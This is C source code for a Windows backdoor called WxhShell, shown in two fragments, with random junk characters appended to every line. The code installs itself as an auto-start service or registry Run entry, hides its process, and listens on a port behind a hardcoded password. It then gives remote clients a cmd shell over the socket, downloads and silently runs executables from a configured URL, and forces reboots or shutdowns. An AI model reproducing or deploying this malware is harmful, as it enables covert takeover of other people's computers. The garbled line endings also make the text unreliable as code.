    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '**dD2 n  
    if(Boot(SHUTDOWN)) .3QX*]{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QFS5PZ  
    else { d|RqS`h ]  
    closesocket(wsh); [)E.T,fjMQ  
    ExitThread(0); CMI V"-  
    } E"l/r4*f@  
    break; eXdE?j  
    } Z+G.v=2q<  
  // 获取shell y$7vJl.uS/  
  case 's': { 8UahoNrSt  
    CmdShell(wsh); r%^l~PN  
    closesocket(wsh); Gec?  
    ExitThread(0); c'8pTP%[  
    break; c4'k-\JvT  
  } f1_b``M  
  // 退出 #OT8_D  
  case 'x': { {r,MRZaa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lPywr TG0  
    CloseIt(wsh); [m9Iz!E  
    break; %Ct^{k~1  
    } f*IC ZM  
  // 离开 Z&VH7gi  
  case 'q': { x]=s/+Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7ZsBYP8%  
    closesocket(wsh); k,mgiGrQ  
    WSACleanup(); 7i$)iNW  
    exit(1); sOY+ X  
    break; f0lpwwe  
        } | pA  
  } g$N/pg2>cT  
  } K_" denzT+  
TOe=6 Z5h  
  // 提示信息 /#C}1emK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sBLf(Q,  
} ZHWxU  
  } PqJB&:ZV  
yDil  
  return; \[57Dmo  
} ,R~{$QUl  
k)t_U3i  
// shell模块句柄 3m#/1=@o  
int CmdShell(SOCKET sock) ^z%ShmM&LZ  
{ b,tf]Z-  
STARTUPINFO si;  KDX1_r=Y  
ZeroMemory(&si,sizeof(si)); P,}cH;w6Ck  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fUg<+|v*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5>e#SW  
PROCESS_INFORMATION ProcessInfo; DQ86(4e*g#  
char cmdline[]="cmd"; S1Nwm?z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pmIOV~K  
  return 0; {|E'  
} 7^2  
O_kBAC-|R(  
// 自身启动模式 fy6<KEea  
int StartFromService(void) NZTG)<  
{ UCz\SZ{za  
typedef struct }^@Q9<P^E  
{ <U]!1  
  DWORD ExitStatus; qq,#bRe  
  DWORD PebBaseAddress; 5!b+^UR;z  
  DWORD AffinityMask; FkH HTO  
  DWORD BasePriority; dx&!RK+  
  ULONG UniqueProcessId; P"%QFt,  
  ULONG InheritedFromUniqueProcessId; 8nj^x?bn  
}   PROCESS_BASIC_INFORMATION; `Q@w*ta)  
.T63:  
PROCNTQSIP NtQueryInformationProcess; 5vmc'Om  
sgGXj7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Nf!g1D"U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `+\6;nM  
hn -!W;j  
  HANDLE             hProcess; /Z?$!u4I  
  PROCESS_BASIC_INFORMATION pbi; 3tjF4C>h|  
&qjc+-r{l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,'nd~{pX"(  
  if(NULL == hInst ) return 0; 3b d(.he2u  
ILU7Yhk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J2BCaAwEP,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XsXO S8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i0TbsoKh:  
(\8~W*ej"  
  if (!NtQueryInformationProcess) return 0; RXD*;B$v  
X>la!}sV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UD!-.I]  
  if(!hProcess) return 0; :Rftn6!  
e2><Y<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GGQ%/i]:  
%6%~`((4  
  CloseHandle(hProcess); ~O c:b>~  
b4R;#rm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3OlXi9>3  
if(hProcess==NULL) return 0; z]%c6ty  
I,lX;~xb  
HMODULE hMod; @7? O#WmL  
char procName[255]; x_+-TC4IXn  
unsigned long cbNeeded; E xls_oSp  
li37*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =] +owl2  
@PZ{(  
  CloseHandle(hProcess); s0To^I  
m4r<=o  
if(strstr(procName,"services")) return 1; // 以服务启动 \GD\N=?~  
* @=ZzL  
  return 0; // 注册表启动 1VR|z  
} hjgB[ &U>  
,6 IKkyD  
// 主模块 gWu<5Y=C  
int StartWxhshell(LPSTR lpCmdLine) DP8%/CV!*  
{ lS96Z3k"SB  
  SOCKET wsl; Due@ '  
BOOL val=TRUE; }1#prQ0F  
  int port=0; YZ k.{#^c  
  struct sockaddr_in door; fjd)/Gg  
}ip3dm  
  if(wscfg.ws_autoins) Install(); 0g`$Dap  
p>l:^ -N;f  
port=atoi(lpCmdLine); I'E7mb<2  
{ew; /;  
if(port<=0) port=wscfg.ws_port; 4o<rj4G>  
KjNA PfL  
  WSADATA data; @Cml^v@`L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L"tzUYxg  
zMXQfR   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |[Rlg`TQ;*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SaIY-PC  
  door.sin_family = AF_INET; |E9'ii&?B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^)UX#D3b  
  door.sin_port = htons(port); 6Vj=SYK  
%6W%-`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {[)n<.n[g  
closesocket(wsl); vB%os Qm  
return 1; +,1 Ea )  
} n'@*RvI:  
>/4N:=.h  
  if(listen(wsl,2) == INVALID_SOCKET) { =z!^O T6eb  
closesocket(wsl); .>a [  
return 1; {SkE`u4Sz  
} f#kT?!sP  
  Wxhshell(wsl); !<3!ORFO  
  WSACleanup(); :>y;*x0w  
X`fb\}~R(  
return 0; ka_(8  
^D76_'{  
} hS1I ;*t  
UDT\Xc  
// 以NT服务方式启动 f~10 i D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [jv+Of IZ  
{ kMx)G]  
DWORD   status = 0; ;pw9+zo ^M  
  DWORD   specificError = 0xfffffff; fKW)h?.Kd  
=NmW}x|n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *M ^ <oG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yv|`A2@9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f_2(`T#  
  serviceStatus.dwWin32ExitCode     = 0; K3iQ/j~aq  
  serviceStatus.dwServiceSpecificExitCode = 0; X;1yQ |su  
  serviceStatus.dwCheckPoint       = 0; Ms#rvn!J  
  serviceStatus.dwWaitHint       = 0; p,.6sk  
aJ QzM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fC".K Yjp  
  if (hServiceStatusHandle==0) return; !nsx!M  
%:v<&^oDlm  
status = GetLastError(); "~mY4WVG  
  if (status!=NO_ERROR) a4[t3U  
{ Q5b9q$L$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >xXC=z+g]  
    serviceStatus.dwCheckPoint       = 0; jV[;e15+  
    serviceStatus.dwWaitHint       = 0; 8iTB  
    serviceStatus.dwWin32ExitCode     = status; xnf J ruT  
    serviceStatus.dwServiceSpecificExitCode = specificError; uBl&{$<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l,*5*1lM  
    return; Wu"1M^a  
  } g4u 6#.m(  
pMJm@f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s"XwO8yhM  
  serviceStatus.dwCheckPoint       = 0; /xSFW7d1  
  serviceStatus.dwWaitHint       = 0; @QMy!y_K~m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L~%7=]m  
} 3RanAT.nu:  
@qpj0i+>*  
// 处理NT服务事件,比如:启动、停止 (:I]v_qEYS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) snWe&-  
{ tpb lm|sW  
switch(fdwControl) t#xfso`4o  
{ !6l*Jc3  
case SERVICE_CONTROL_STOP: (g*j+i  
  serviceStatus.dwWin32ExitCode = 0; ):[}NDmC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p|(SR~;6  
  serviceStatus.dwCheckPoint   = 0; HB{'MBs  
  serviceStatus.dwWaitHint     = 0; z-qbe97  
  { *7E#=xb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4l7 Ny\J  
  } zn>+ \  
  return; wBvVY3VQ^  
case SERVICE_CONTROL_PAUSE: =P%&]5ts  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  Q6RTH  
  break; ; NH^+h  
case SERVICE_CONTROL_CONTINUE: $}Ab R:z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ia< V\$#  
  break; )t KS ooW  
case SERVICE_CONTROL_INTERROGATE: R+U$;r8l  
  break; hbg$u$1`,  
}; /wax5FS'I,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KZTLIZxI-  
} OLqV#i[K#9  
&=x4M]t9L  
// 标准应用程序主函数 ;*$e8y2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Jt[,V*:#  
{ LRg]'?  
v3aPHf  
// 获取操作系统版本  DR{O.TX  
OsIsNt=GetOsVer(); 3@qv[yOE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); op\$(7<d-  
qY$ [2]  
  // 从命令行安装 NYr)=&)Ke.  
  if(strpbrk(lpCmdLine,"iI")) Install(); *FktI\tS  
EK5$z>k>m  
  // 下载执行文件 0>8w On  
if(wscfg.ws_downexe) { B;?)X&n|X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /y$Fw9R;  
  WinExec(wscfg.ws_filenam,SW_HIDE); b*.aaOb  
} 6UqAs<c9  
vJaWHC$q  
if(!OsIsNt) { h=0a9vIXF  
// 如果时win9x,隐藏进程并且设置为注册表启动 P%)r4+at  
HideProc(); 6Iqy"MQuq  
StartWxhshell(lpCmdLine); pr,,E[  
} )A xD|A  
else I/XSW#  
  if(StartFromService()) p20JU zy  
  // 以服务方式启动 Scx!h.\5  
  StartServiceCtrlDispatcher(DispatchTable); 'Y#'ozSQv  
else m$_b\^we  
  // 普通方式启动 J_ h.7V  
  StartWxhshell(lpCmdLine); I8YUq   
& W od  
return 0; *g,ls(r\[  
} +8C }%6aX  
Z[OX {_2]K  
PMpq>$6b7  
0F@~[W|2  
=========================================== a_V\[V{R=  
FGx)?  
p<=Lh47 =  
mf3,V|>[\  
'9Z`y_~)G  
;aV3j/  
" L FkDb}  
vMB61 |O  
#include <stdio.h> aZ4?! JW.  
#include <string.h> kqm(D#  
#include <windows.h> O7Jux-E1C  
#include <winsock2.h> =`QYy-b X  
#include <winsvc.h> fj;ZGbg-O  
#include <urlmon.h> )\#*~73  
h@Ea5x  
#pragma comment (lib, "Ws2_32.lib") mpug#i6q  
#pragma comment (lib, "urlmon.lib") @b,H'WvhfS  
E<Zf!!3  
#define MAX_USER   100 // 最大客户端连接数 jkx>o?s)z  
#define BUF_SOCK   200 // sock buffer jel:oy|_  
#define KEY_BUFF   255 // 输入 buffer Ig t*8px  
C[<}eD4bV  
#define REBOOT     0   // 重启 {KNaJ/:>W  
#define SHUTDOWN   1   // 关机 9gcW;  
} Xo#/9  
#define DEF_PORT   5000 // 监听端口 ["<Xh0_  
dazNwn  
#define REG_LEN     16   // 注册表键长度 ~c35Y9-5  
#define SVC_LEN     80   // NT服务名长度 "t&=~eOe3  
-0d9,,c  
// 从dll定义API eO <N/?t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S(Afo`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |E7 J5ha  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qC> tni%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Vo@7G@7K(  
]JjS$VMauX  
// wxhshell配置信息 X|T|iB,vT  
struct WSCFG { !xfDWbvHV  
  int ws_port;         // 监听端口 #\w N2`" W  
  char ws_passstr[REG_LEN]; // 口令 \jwG*a  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1H-Y3G>jN  
  char ws_regname[REG_LEN]; // 注册表键名 U L $!  
  char ws_svcname[REG_LEN]; // 服务名 Q3 8+`EhLA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ng3ZK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VKDOM0{V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P}}G9^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d\JaYizp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \{ @m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k_,7#:+  
QQS*r}>  
}; YWK0.F,8a  
`/PBZnj  
// default Wxhshell configuration ;[}OZt  
struct WSCFG wscfg={DEF_PORT, f%,S::%Ea  
    "xuhuanlingzhe", D<6$@ZJ  
    1, reN\| ?0{  
    "Wxhshell", Nn[*ox#i  
    "Wxhshell", |O_ JUl  
            "WxhShell Service", ]ub"OsXC  
    "Wrsky Windows CmdShell Service", C8|V?bL  
    "Please Input Your Password: ", &))d],tJX  
  1, YCD |lL#  
  "http://www.wrsky.com/wxhshell.exe", %]_: \!  
  "Wxhshell.exe" 7H Dc]&z  
    }; HLW_Y|QaFo  
'z. GAR  
// 消息定义模块 $Y|OGZH8E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |reA`&<q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !FL"L 9   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;#85 _/  
char *msg_ws_ext="\n\rExit."; ojy^ A  
char *msg_ws_end="\n\rQuit."; i wgt\ux.  
char *msg_ws_boot="\n\rReboot..."; >J7slDRo  
char *msg_ws_poff="\n\rShutdown..."; FMVAXOO  
char *msg_ws_down="\n\rSave to "; /y G34) aB  
=HCEUB9Fs  
char *msg_ws_err="\n\rErr!"; B-MS@ <2  
char *msg_ws_ok="\n\rOK!"; ,a{85HLr]  
rkjnw@x\  
char ExeFile[MAX_PATH]; 5G`HJ6  
int nUser = 0; hI:.Qp`r  
HANDLE handles[MAX_USER]; ']1n?K=A  
int OsIsNt; l;iU9<~  
mH$tG $  
SERVICE_STATUS       serviceStatus; <Q~N9W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r @4A% ql<  
t(#9.b`W)  
// 函数声明 2t\0vV2)/O  
int Install(void); e]RzvWq  
int Uninstall(void); a<<4gXx  
int DownloadFile(char *sURL, SOCKET wsh); ]@#9B>v=  
int Boot(int flag); |fgUW.  
void HideProc(void); Y)1/f EM  
int GetOsVer(void); )%K<pIk  
int Wxhshell(SOCKET wsl); !zX() V  
void TalkWithClient(void *cs); L+8ar9es  
int CmdShell(SOCKET sock); 5skN'*oG  
int StartFromService(void); L]kBY2c  
int StartWxhshell(LPSTR lpCmdLine); |Mb{0mKb  
lcdhOjz!N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {$^'oRk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?P'$Vxl  
<l<O2l  
// 数据结构和表定义 ]I\GnDJ^  
SERVICE_TABLE_ENTRY DispatchTable[] = =P(*j7=  
{ f!x9%  
{wscfg.ws_svcname, NTServiceMain}, ZA(u"T~  
{NULL, NULL} Z~J]I|R:  
}; s* (a  
>5CK&6  
// 自我安装 (03/4*g_s  
int Install(void) S~Gse+*  
{ XRV]u|w=g  
  char svExeFile[MAX_PATH]; cqG6di7#  
  HKEY key; pp@ Owpb  
  strcpy(svExeFile,ExeFile); V'i-pn2gyu  
=Wcvb?;*  
// 如果是win9x系统,修改注册表设为自启动 }p~2lOI  
if(!OsIsNt) { l8oaDL\f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [Z$H <m{c-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B7 s{yb  
  RegCloseKey(key); WQ9e~D"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fQfn7FaW_\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (.4lsKN<  
  RegCloseKey(key); e$~[\ w  
  return 0; wo@ T@Ve~  
    } OD8 fn  
  } ' h7Faj  
} QF>T)1&J[7  
else { &*v\t\]  
&en. m>9,  
// 如果是NT以上系统,安装为系统服务 O&l4/RtQ\)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $r!CQ 2S  
if (schSCManager!=0) ~7 i{~<?  
{ JIySe:p3  
  SC_HANDLE schService = CreateService ^ }7O|Y7  
  ( E#J})cPzw  
  schSCManager, f!'i5I]  
  wscfg.ws_svcname, fp [gKRSF  
  wscfg.ws_svcdisp, @"7S$@cO  
  SERVICE_ALL_ACCESS, bT ,_=7F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?\o~P  
  SERVICE_AUTO_START, pkn^K+<n,  
  SERVICE_ERROR_NORMAL, cwmS4^zt8  
  svExeFile, ~XOmxz0  
  NULL, v #+ECx  
  NULL, 9+@h2"|N4*  
  NULL, aZmN(AJ8v  
  NULL, ,Wlt[T(.;  
  NULL /JR+WmO  
  ); 5NhFjPETr  
  if (schService!=0) %66="1z0@  
  { t /+;#-  
  CloseServiceHandle(schService); XKWq{,Ks  
  CloseServiceHandle(schSCManager); *{ rorir  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +bznKy!  
  strcat(svExeFile,wscfg.ws_svcname); xgk~%X%K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kq}byv}3I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tpJA~!mG3  
  RegCloseKey(key); w/6X9d  
  return 0; {'IO  
    } 11oNlgY&  
  } %,@pV%2  
  CloseServiceHandle(schSCManager); _*o <<C\E  
} Xz^nm\  
} ^^b'tP1>  
7a"06Et^  
return 1; V%8(zt  
} mUg :<.^  
^%7(  
// 自我卸载 \Bo$ 3  
int Uninstall(void) wK(]E%\  
{  V9) /  
  HKEY key; gc A:Q4  
^-"Iw y  
if(!OsIsNt) { "9caoPI0~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AT&K>NG  
  RegDeleteValue(key,wscfg.ws_regname); eAlOMSL\  
  RegCloseKey(key); @62,.\F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G Aj%o]}u  
  RegDeleteValue(key,wscfg.ws_regname); Blxa0&3  
  RegCloseKey(key); od)TQSo  
  return 0; _LaG%* R6  
  } 3x;UAi+&  
} WoTeIkM9  
} gv`_+E{P  
else { 9S%5 Z>  
;\pVc)\4"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aj5HtP-  
if (schSCManager!=0) 'gf[Wjb,%  
{ z8X7Y >+SA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Hhknjx  
  if (schService!=0) PBn7{( x  
  { +pR,BjY  
  if(DeleteService(schService)!=0) { x9 > ho  
  CloseServiceHandle(schService); =ANr|d  
  CloseServiceHandle(schSCManager); F!X0Wo=  
  return 0; @;4;72@O  
  } =dAAb\:  
  CloseServiceHandle(schService); 7p1Y g  
  } u}%OC43  
  CloseServiceHandle(schSCManager); aGbG@c8PRi  
} 5SY%B#;5G  
} bWo  
:BPgDLL,  
return 1; kPX+n+$  
} H\>{<`sD;f  
^{}G4BEY  
// 从指定url下载文件 NTu |cX\R  
int DownloadFile(char *sURL, SOCKET wsh) j=O+U _w  
{ T1d@=&0"  
  HRESULT hr; vFk@  
char seps[]= "/"; sBadiDG~9  
char *token; Jx+6Kq(  
char *file; 9Vt ^q%DC  
char myURL[MAX_PATH]; 8Yq06o38C  
char myFILE[MAX_PATH]; $\u\ 4 n  
pq) =  
strcpy(myURL,sURL); .) Ej#mk  
  token=strtok(myURL,seps); =2 HY]H  
  while(token!=NULL) ,?8a3%  
  { TQ(q [:>  
    file=token; %tVU Rj  
  token=strtok(NULL,seps); FDl/7P`b(  
  } C'I&<  
sx#O3*'>1  
GetCurrentDirectory(MAX_PATH,myFILE); 76w[X=Fv  
strcat(myFILE, "\\"); TDo)8+.2 z  
strcat(myFILE, file); ) h]+cGM  
  send(wsh,myFILE,strlen(myFILE),0); 7z;2J;u`n  
send(wsh,"...",3,0); <W0(!<U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ??/bI~Sd  
  if(hr==S_OK) zx$YNjeV  
return 0; Jq0sZ0j  
else M+&~sX*a  
return 1; RnH?95n?{  
{?yVA  
} Y~}MfRE3z  
%r[`HF>  
// 系统电源模块 O&7.Ry m  
int Boot(int flag) ;{I9S'  
{ @}q, ';H7  
  HANDLE hToken; g@'XmT="_  
  TOKEN_PRIVILEGES tkp; 0cmd +`  
/l7 %x.  
  if(OsIsNt) { 4#(/{6J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OL\-SQ&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?6_]^:s  
    tkp.PrivilegeCount = 1; &oMEz 0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i431mpMa  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T:Cq}4k<  
if(flag==REBOOT) { F${sEtH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Qf_N,Bq{a  
  return 0; X`g<"Ka  
} (1CP]5W  
else { 4XAB_Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j55_wx@cA  
  return 0; $s _k/dM~&  
} M]o]D;N~l  
  } vl/!w2  
  else { Cj>HMB}  
if(flag==REBOOT) { Zz} o  t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PY.HZ/#d  
  return 0; uf?;;wg  
} G `|7NL   
else { __}SHU0R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r^Ra`:ca  
  return 0; ft/k-64  
} \IQG%L{  
} I;@q`Tm  
tpS gbGzp  
return 1; GSRf/::I}4  
} !PIg ,  
5 SQ!^1R 9  
// win9x进程隐藏模块 p.:|Z-W$  
void HideProc(void) RZxh"lIo  
{ a?W5~?\9  
eztK`_n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +^9^)Ur|  
  if ( hKernel != NULL ) :?f+*  
  { QP(d77 n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c%5P|R~g]p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &~eCDlX /  
    FreeLibrary(hKernel); L$Z!  
  } #btz94/~O  
UI=v| <'-  
return; _7N?R0j^9N  
} {U-z(0  
UovN"8W+  
// 获取操作系统版本 YAXd   
int GetOsVer(void) +\+j/sa  
{ CY?J$sN  
  OSVERSIONINFO winfo; $x }R2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rZ,qHM  
  GetVersionEx(&winfo); ~xG/yPl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;8#6da,  
  return 1; | K|AUI  
  else KF&8l/f  
  return 0; lfBCzxifC  
} d%}?%VH  
qdQ4%,E[  
// 客户端句柄模块 y={ k7  
int Wxhshell(SOCKET wsl) f IV"U  
{ fKEDe>B5  
  SOCKET wsh; <]?71{7X  
  struct sockaddr_in client; yPfx!9B  
  DWORD myID; # N3*SE  
Q:) 4  
  while(nUser<MAX_USER) (f"Qz~R|6_  
{ !ldE9 .  
  int nSize=sizeof(client); ~98q1HgS]D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #U0| j?!D  
  if(wsh==INVALID_SOCKET) return 1; BUZ74  
[e,xC!2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YQ+8lANC  
if(handles[nUser]==0) X%-"b`  
  closesocket(wsh); 7Vf XE/  
else H`<u2fo|p  
  nUser++; 1<h@ ^s;  
  } /7B3z}rd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R[F`b  
&K!0yR  
  return 0; _&(Wz0  
} 8r}tf3xMCM  
#l>r9Z71  
// 关闭 socket ^XyC[ G@[  
void CloseIt(SOCKET wsh) &7kLSb&|;  
{ L]=mQo  
closesocket(wsh); s j-oaWt  
nUser--; )j]f ]8  
ExitThread(0); j*2/[Eq  
} oTk\r$4eb  
Wv3p!zW3I  
// 客户端请求句柄 n<EIu  
void TalkWithClient(void *cs) KdiJ'K.  
{ E5gt_,j>  
"/O07l1Q<  
  SOCKET wsh=(SOCKET)cs; {uwPP2YD,  
  char pwd[SVC_LEN]; rSDI.m   
  char cmd[KEY_BUFF]; e]1) _;b*  
char chr[1]; Dg^s$2  
int i,j; + d>2'  
J%Y-3{TQK  
  while (nUser < MAX_USER) { W SvhC  
O|m-[]  
if(wscfg.ws_passstr) { IF&edP[V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v7j/_;JE;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ku6ndc  
  //ZeroMemory(pwd,KEY_BUFF); cl23y}J_?  
      i=0; u<"-S63+  
  while(i<SVC_LEN) { vzAY+EEx  
1OY 5tq  
  // 设置超时 ,*Wh{)  
  fd_set FdRead; m k~F@  
  struct timeval TimeOut; 0I)eYksh  
  FD_ZERO(&FdRead); MG&vduu  
  FD_SET(wsh,&FdRead); iMM9a;G+  
  TimeOut.tv_sec=8; j~rW 2(  
  TimeOut.tv_usec=0; Q&$2F:4f&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xE_~.EoB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); </9c=GoJ  
BDL[C<d(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |I]G=.*E  
  pwd=chr[0]; c -~i=C]  
  if(chr[0]==0xd || chr[0]==0xa) { &6GW9pl[  
  pwd=0; 9u^za!pE  
  break; U2Siw   
  } ZdhA:}~^E  
  i++; ) fuAdG  
    } 4,`t9f^:  
j0cB#M44  
  // 如果是非法用户,关闭 socket FKtCUq,:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CW@EQ3y0  
} BN`tiPNEp  
_B&;z $  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rJ4A9d3:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mst;q@  
'uqY%&U  
while(1) { W'zI~'K  
AGlFbc(L  
  ZeroMemory(cmd,KEY_BUFF); UZJs!#P  
m 2%  
      // 自动支持客户端 telnet标准   41C6ey  
  j=0; gf;B&MM6  
  while(j<KEY_BUFF) { fob.?ID-;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &)Vuh=  
  cmd[j]=chr[0]; T~lHm  
  if(chr[0]==0xa || chr[0]==0xd) { % y` tDR  
  cmd[j]=0; 74A&#ecb{  
  break; ~!fOl)F  
  } skLr6Cs|  
  j++; WD8F]+2O\  
    } jTsQsHq   
Urm(A9|N  
  // 下载文件 RLVz"=  
  if(strstr(cmd,"http://")) { hs)_h^P   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d ~CZ9h  
  if(DownloadFile(cmd,wsh)) :Mu]* N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p?s[I)e  
  else `cmzmQC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uw&p)  
  } k _Bz@^J  
  else { 2reQd47  
t] G hONN  
    switch(cmd[0]) { bmRp)CYd  
  XJ1<!tl  
